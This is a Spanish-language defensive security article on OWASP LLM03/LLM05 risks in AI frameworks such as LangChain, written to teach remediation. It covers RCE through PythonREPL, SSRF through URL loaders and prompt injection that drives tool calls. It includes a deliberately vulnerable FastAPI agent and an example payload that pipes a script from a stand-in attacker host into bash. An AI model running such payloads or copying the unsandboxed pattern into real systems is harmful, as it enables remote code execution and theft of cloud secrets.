AI 15 min

Article 6: Stack Vulnerabilities: Exploiting AI Frameworks (OWASP LLM03 & LLM05)

Security audit of the AI supply chain: vulnerabilities in popular open-source frameworks, Remote Code Execution (RCE) via unsafe evaluation, and Server-Side Request Forgery (SSRF) mitigations.

Written by Samir El Azem Crovetto • Senior Backend Engineer & DevSecOps

Article 6: Stack Vulnerabilities: Exploiting AI Frameworks (OWASP LLM03 & LLM05)

Security audit of the AI supply chain: vulnerabilities in popular open-source frameworks, Remote Code Execution (RCE) via unsafe evaluation, and Server-Side Request Forgery (SSRF) mitigations.

Master Series: OWASP Top 10 for LLM & Generative AI Cybersecurity

Practical Lab: Download lab-06-vulnerabilidades-stack.ipynb


Cuando un equipo de ingeniería arranca un proyecto de IA Generativa ejecutando pip install langchain o pip install llama-index sin evaluar su superficie de ejecución, surge un riesgo arquitectónico recurrente. No porque estos frameworks carezcan de utilidad —son herramientas fantásticas para prototipar en cuestión de horas—, sino porque abren de par en par la puerta a una clase de vulnerabilidades mortales que la industria de la ciberseguridad creyó haber controlado hace una década: Ejecución Remota de Código (RCE), Server-Side Request Forgery (SSRF) e Inyección de Plantillas (SSTI).

Al auditar y evaluar arquitecturas empresariales de IA, el mayor peligro no suele estar en el modelo en sí, sino en las abstracciones de conveniencia que los frameworks envuelven sobre componentes críticos. Cuando permites que una librería ejecute sintaxis Python al vuelo para resolver un problema matemático o que un cargador de URLs explore la red corporativa sin restricciones, no estás haciendo "ingeniería de IA"; estás practicando un Vibe Coding de alto riesgo que entrega las llaves de tu infraestructura a cualquier atacante que sepa manipular un prompt.

En este artículo vamos a despiezar la sala de máquinas de los frameworks LLM, analizando cómo la combinación de la Cadena de Suministro Insegura (OWASP LLM03) y el Diseño Inseguro de Herramientas (OWASP LLM05) transforma simples prompts en vectores de explotación remota a nivel de sistema operativo y red interna.


Anatomía del Problema: La Trampa de las Abstracciones Convenientes

Para entender cómo colapsa la seguridad en la capa del framework, debemos analizar qué ocurre cuando delegamos la ejecución de lógica a librerías de terceros. Los frameworks de agentes e integración RAG ofrecen conectores preconstruidos para interactuar con el entorno: intérpretes de código, buscadores web, cargadores de documentos y motores de plantillas.

El problema radica en que, bajo el lema de la experiencia de desarrollo rápida, muchas de estas integraciones históricamente deshabilitaron las fronteras de aislamiento por defecto. Consideremos tres patrones comunes de fallo estructural:

  1. Intérpretes de Código no Aislados (RCE por Diseño): Componentes diseñados para evaluar lógica o matemática delegando la ejecución directamente al intérprete python del proceso principal mediante funciones como eval() o exec().
  2. Cargadores de Recursos Sin Validación de Red (SSRF): Módulos encargados de descargar documentos o raspar páginas web que aceptan cualquier esquema de URI (incluyendo http://169.254.169.254 para metadatos de AWS/GCP o file:///etc/passwd).
  3. Motores de Plantillas Dinámicas (SSTI): Módulos de formato que evalúan expresiones en tiempo de ejecución utilizando Jinja2 o evaluadores personalizados sin un entorno restringido (SandboxedEnvironment).

Cuando el input no confiable de un usuario navega desde la ventana de contexto hasta una de estas herramientas desprotegidas, el LLM se convierte en un mero canal de tránsito que traduce el payload adversario en una llamada de función destructiva.


Diagrama de Arquitectura: La Cadena de Explotación en el Stack

┌─────────────────────────────────────────────────────────────────────────────┐
│                          CADENA DE ATAQUE AL STACK                          │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  [ Atacante / Input Malicioso ]                                             │
│               │                                                             │
│               ▼                                                             │
│  ┌─────────────────────────┐                                                │
│  │ LLM / Motor de Razonam. │ (Inyección de Prompt / Tool Call Forgery)        │
│  └────────────┬────────────┘                                                │
│               │                                                             │
│               ▼                                                             │
│  ┌─────────────────────────┐                                                │
│  │ Framework (LangChain/   │ <-- Abstracción Insegura                        │
│  │ LlamaIndex/Haystack)    │     (Sin aislamiento ni allowlists)            │
│  └────────────┬────────────┘                                                │
│               │                                                             │
│       ┌───────┴───────────────────────┐                                     │
│       ▼                               ▼                                     │
│  ┌───────────────────────────┐   ┌───────────────────────────┐              │
│  │ Herramienta REPL / Code   │   │ Loader de URLs / Web      │              │
│  │ (Ejecución de os.system)  │   │ (Fetch a 169.254.169.254) │              │
│  └────────────┬──────────────┘   └────────────┬──────────────┘              │
│               │                               │                             │
│               ▼                               ▼                             │
│     [ RCE en Servidor / Pod ]        [ SSRF / Exfiltración Cloud ]          │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

El atacante no necesita romper el cifrado de la base de datos ni adivinar una contraseña. Solo requiere que la IA elija ejecutar una herramienta del framework cuya implementación carece de límites de seguridad deterministas.


Caso Real & Post-Mortem: Las Brechas que Sacudieron el Ecosistema

Analicemos dos incidentes emblemáticos que demuestran el impacto de estas abstracciones en entornos reales de producción:

1. RCE en LangChain mediante PALChain (CVE-2023-44467)

El módulo PALChain (Program-Aided Language models) de LangChain se diseñó para resolver problemas lógicos y matemáticos haciendo que el LLM generara código Python que luego era ejecutado por la herramienta PythonREPL.

La implementación original utilizaba un bloque de ejecución interna que invocaba la función built-in exec() dentro del mismo proceso del servidor. Aunque los desarrolladores intentaron bloquear ciertas palabras clave en el prompt, un atacante solo necesitaba pedirle al modelo que importara la librería os o subprocess mediante atajos de sintaxis (como import('os').system('id')) para tomar el control total del contenedor.

2. SSRF en LangChain via RecursiveUrlLoader (CVE-2023-46229)

El componente RecursiveUrlLoader permitía rastrear sitios web para alimentar bases de datos vectoriales. El cargador no realizaba validación de rangos IP de destino ni filtraba protocolos de red.

Un atacante podía inyectar una URL en el proceso de ingesta apuntando a la dirección IP de metadatos del proveedor Cloud (http://169.254.169.254/latest/meta-data/) o a servicios de gestión interna en localhost:8080. El servidor procesaba la petición interna y almacenaba los secretos extraídos directamente dentro del índice RAG.


El Código Vulnerable: La Ilusión del "Funciona en mi Máquina"

Veamos el patrón de código típico que suele encontrarse en revisiones de seguridad. Se trata de un agente que expone la herramienta de ejecución de código y un cargador de URLs para analizar reportes web.

# CÓDIGO INSEGURO Y VULNERABLE EN PRODUCCIÓN
from fastapi import FastAPI, HTTPException
from pydantic import BaseModel
from langchain_community.tools import PythonREPLTool
from langchain_community.document_loaders import RecursiveUrlLoader

app = FastAPI(title="Analista Financiero Vulnerable")

# VULNERABILIDAD 1: Intérprete de Python directo en el proceso principal
python_tool = PythonREPLTool()

class AnalyzeRequest(BaseModel):
    user_query: str
    target_url: str = None

@app.post("/api/v1/execute-code")
async def execute_analysis(request: AnalyzeRequest):
    # El usuario controla el código a ejecutar
    # Si el prompt engaña al LLM, se ejecuta código arbitrario del SO
    try:
        result = python_tool.run(request.user_query)
        return {"status": "success", "result": result}
    except Exception as e:
        raise HTTPException(status_code=500, detail=str(e))

@app.post("/api/v1/ingest-url")
async def ingest_web(request: AnalyzeRequest):
    # VULNERABILIDAD 2: SSRF - No se valida si la URL apunta a localhost o metadatos cloud
    loader = RecursiveUrlLoader(url=request.target_url, max_depth=1)
    docs = loader.load()
    return {"status": "success", "chunk_count": len(docs)}

Si un atacante envía como user_query la instrucción import os; os.system('curl http://attacker.com/shell.sh | bash'), el servidor ejecutará la orden de forma transparente con los mismos privilegios del proceso Python.


Solución Arquitectónica: Remediación y Aislamiento por Diseño

Para construir una arquitectura resistente en el stack de IA, debemos aplicar tres principios inviolables de ingeniería de seguridad:

  1. Aislamiento Sandbox Out-of-Process: El código generado por un LLM JAMÁS debe ejecutarse en el proceso ni en el espacio de nombres del servidor API. Debe delegarse a entornos efímeros y aislados (microVMs, sandboxes WebAssembly o contenedores aislados sin red).
  2. Filtrado Estricto de URLs y Redes (Anti-SSRF): Toda petición saliente realizada por conectores o loaders debe pasar por una lista blanca (allowlist) de dominios y verificar que la IP resuelta no pertenezca a rangos privados (RFC 1918) ni a direcciones de metadatos cloud.
  3. Deshabilitar Banderas Peligrosas: Eliminar por completo el uso de parámetros como allowdangerousrequests=True en librerías de producción.

Veamos la implementación remediada:

# CÓDIGO REMEDIADO Y BLINDADO (SecDevOps Standard)
import socket
import urllib.parse
from fastapi import FastAPI, HTTPException, status
from pydantic import BaseModel, HttpUrl

app = FastAPI(title="Analista Financiero Seguro")

# Lista blanca de dominios permitidos para ingesta
ALLOWED_DOMAINS = {"documentos.miempresa.com", "api.noticiasfinancieras.com"}

class SafeIngestRequest(BaseModel):
    target_url: HttpUrl

def validate_url_against_ssrf(url_str: str) -> str:
    parsed = urllib.parse.urlparse(url_str)
    domain = parsed.hostname
    
    if not domain or domain not in ALLOWED_DOMAINS:
        raise HTTPException(
            status_code=status.HTTP_400_BAD_REQUEST,
            detail=f"Dominio '{domain}' no autorizado en la lista blanca."
        )
    
    # Resolver IP y verificar que no sea privada ni de metadatos
    try:
        ip = socket.gethostbyname(domain)
        if ip.startswith(("127.", "10.", "172.16.", "192.168.", "169.254.")):
            raise HTTPException(
                status_code=status.HTTP_403_FORBIDDEN,
                detail="Acceso denegado: La IP resuelta pertenece a una red privada o restringida."
            )
    except socket.gaierror:
        raise HTTPException(status_code=400, detail="No se pudo resolver el dominio.")
        
    return url_str

@app.post("/api/v1/ingest-url-safe")
async def ingest_web_safe(request: SafeIngestRequest):
    validated_url = validate_url_against_ssrf(str(request.target_url))
    # Proceder con la carga segura en entorno aislado...
    return {"status": "success", "validated_url": validated_url}

Verificación y Red Teaming en CI/CD

El control de la cadena de suministro y la detección de abstracciones vulnerables no debe depender de revisiones manuales aisladas. Debemos automatizar el análisis estático y dinámico dentro de nuestra tubería de integración continua:

  1. Auditoría de Dependencias (SCA): Integrar pip-audit o safety en el pipeline de CI/CD para bloquear construcciones que incluyan versiones vulnerables de LangChain, LlamaIndex o Haystack.
  2. Análisis Estático de Código (SAST): Configurar bandit con reglas específicas para detectar el uso de exec(), eval() y herramientas REPL desprotegidas.
  3. Pruebas de Inyección de Comandos (DAST): Implementar suites de prueba con pytest que simulen payloads adversarios contra las herramientas conectadas antes de cada despliegue a producción.

Resumen para el Lunes por la Mañana

Si diriges un equipo de desarrollo o auditoría de seguridad, aquí tienes cuatro acciones inmediatas para ejecutar en tu repositorio el lunes a primera hora:

  1. Escanea las dependencias de tu proyecto: Ejecuta pip-audit en la raíz del repositorio y actualiza de inmediato cualquier framework de IA desfasado.
  2. Busca la bandera allowdangerousrequests: Realiza un grep -r "allowdangerousrequests" . y elimina cualquier permiso concedido a conectores o loaders sin sandboxing.
  3. Aísla los intérpretes de código: Si tu aplicación ejecuta código generado por IA, muévelo a un sandbox aislado (como Docker aislado sin acceso a la red corporativa) o sustitúyelo por evaluadores matemáticos deterministas.
  4. Implementa listas blancas de red: Aplica validación estricta de dominios e IP en todos los módulos RAG o agentes que realicen peticiones HTTP salientes.


🧪 Associated Hands-On Practical Lab

Practice the concepts from this masterclass in the accompanying hands-on Jupyter notebook: